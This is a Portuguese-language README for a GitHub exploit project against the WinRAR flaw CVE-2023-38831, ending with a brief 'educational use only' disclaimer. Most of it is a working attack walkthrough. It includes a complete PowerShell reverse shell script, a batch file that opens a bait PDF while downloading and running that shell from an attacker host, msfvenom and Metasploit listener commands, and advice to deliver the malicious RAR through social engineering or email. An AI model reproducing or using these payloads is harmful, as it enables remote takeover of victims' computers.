
Este projeto contém um script Python que explora **CVE-2023-38831**, uma vulnerabilidade nas versões do **WinRAR** anteriores à 6.23. O exploit gera um **arquivo RAR malicioso** que aciona a execução de código arbitrário quando a vítima abre um arquivo de aparência benigna dentro do arquivo (como um PDF).
technical_corpEste projeto contém um script Python que explora a CVE-2023-38831, uma vulnerabilidade em WinRAR em versões anteriores à 6.23. O exploit gera um arquivo RAR malicioso que aciona a execução de código arbitrário quando a vítima abre um arquivo de aparência benigna dentro do arquivo (como um PDF). A vulnerabilidade foi explorada ativamente no mundo real de abril a agosto de 2023.
CVE-2023-38831 é uma vulnerabilidade no WinRAR que permite aos atacantes executar código arbitrário quando a vítima abre um arquivo contendo tanto um arquivo benigno quanto uma pasta maliciosa com o mesmo nome. Quando o usuário interage com o arquivo benigno, o WinRAR processa erroneamente o conteúdo da pasta maliciosa e executa o payload do atacante.
.bat ou .exe).git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Vamos usar um arquivo batch embutido em um arquivo .rar para baixar e executar um PowerShell reverse shell hospedado.
Crie o Script PowerShell Reverse Shell:
Salve o seguinte script PowerShell como reverse.ps1 na sua máquina Kali Linux:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Substitua <attacker_ip> pelo IP da sua máquina Kali Linux.
Substitua <attacker_port> pelo número da porta em que você irá escutar.
Hospede o Script PowerShell na Sua Máquina Kali Linux:
Navegue até a pasta onde o script PowerShell está salvo:
cd /path/to/powershell-script
Use o servidor HTTP do Python para hospedar o arquivo na porta 80:
python3 -m http.server 80
Isso tornará o reverse.ps1 disponível em http://<attacker_ip>/reverse.ps1.
Crie um arquivo batch (script.bat) que fará o download e executará o PowerShell reverse shell:
@echo off
:: Open the legitimate PDF
start bait.pdf
:: Download and execute the PowerShell script
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Use o Script de Exploit CVE-2023-38831 para Embutir o Arquivo Batch:
Execute o script de exploit do WinRAR para embutir o arquivo batch em um PDF legítimo:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Este comando cria o arquivo POC.rar, que contém o script.bat que executará o reverse shell.
Inicie um listener Netcat para capturar o reverse shell:
nc -lvnp <attacker_port>
Quando a vítima abrir o POC.rar e executar o arquivo PDF, o script.bat será acionado. O script baixará e executará o PowerShell reverse shell do seu servidor. Você receberá uma conexão reverse shell no seu listener Netcat.
Gere um payload (se estiver usando Metasploit): Você pode criar um payload reverse shell usando msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Mova o arquivo payload.exe criado para o diretório CVE-2023-WinRAR-Exploit
Execute o gerador de exploit: Execute o script Python para gerar um arquivo RAR malicioso:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: Especifique o arquivo isca (ex.: nmapcheatsheet.pdf). -p: Especifique o arquivo de payload (ex.: script.bat ou payload.exe). -o: Especifique o nome do arquivo de saída (ex.: POC.rar).
Entregue o arquivo RAR à vítima: O malicious_archive.rar gerado pode ser entregue à vítima por engenharia social, anexos de e-mail ou plataformas de compartilhamento de arquivos.
Configure um listener (se estiver usando Metasploit): Na sua máquina atacante, configure um listener para capturar o reverse shell:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
O atacante entrega um arquivo RAR malicioso à vítima. A vítima abre o arquivo isca (ex.: nmapcheatsheet.pdf), que aciona silenciosamente o payload. O payload (ex.: um reverse shell) é executado em segundo plano, dando ao atacante controle sobre o sistema da vítima.
Este projeto destina-se apenas a fins educacionais. O autor não se responsabiliza por qualquer uso indevido deste exploit. Ele só deve ser usado em ambientes autorizados ou em cenários de teste de penetração com consentimento total.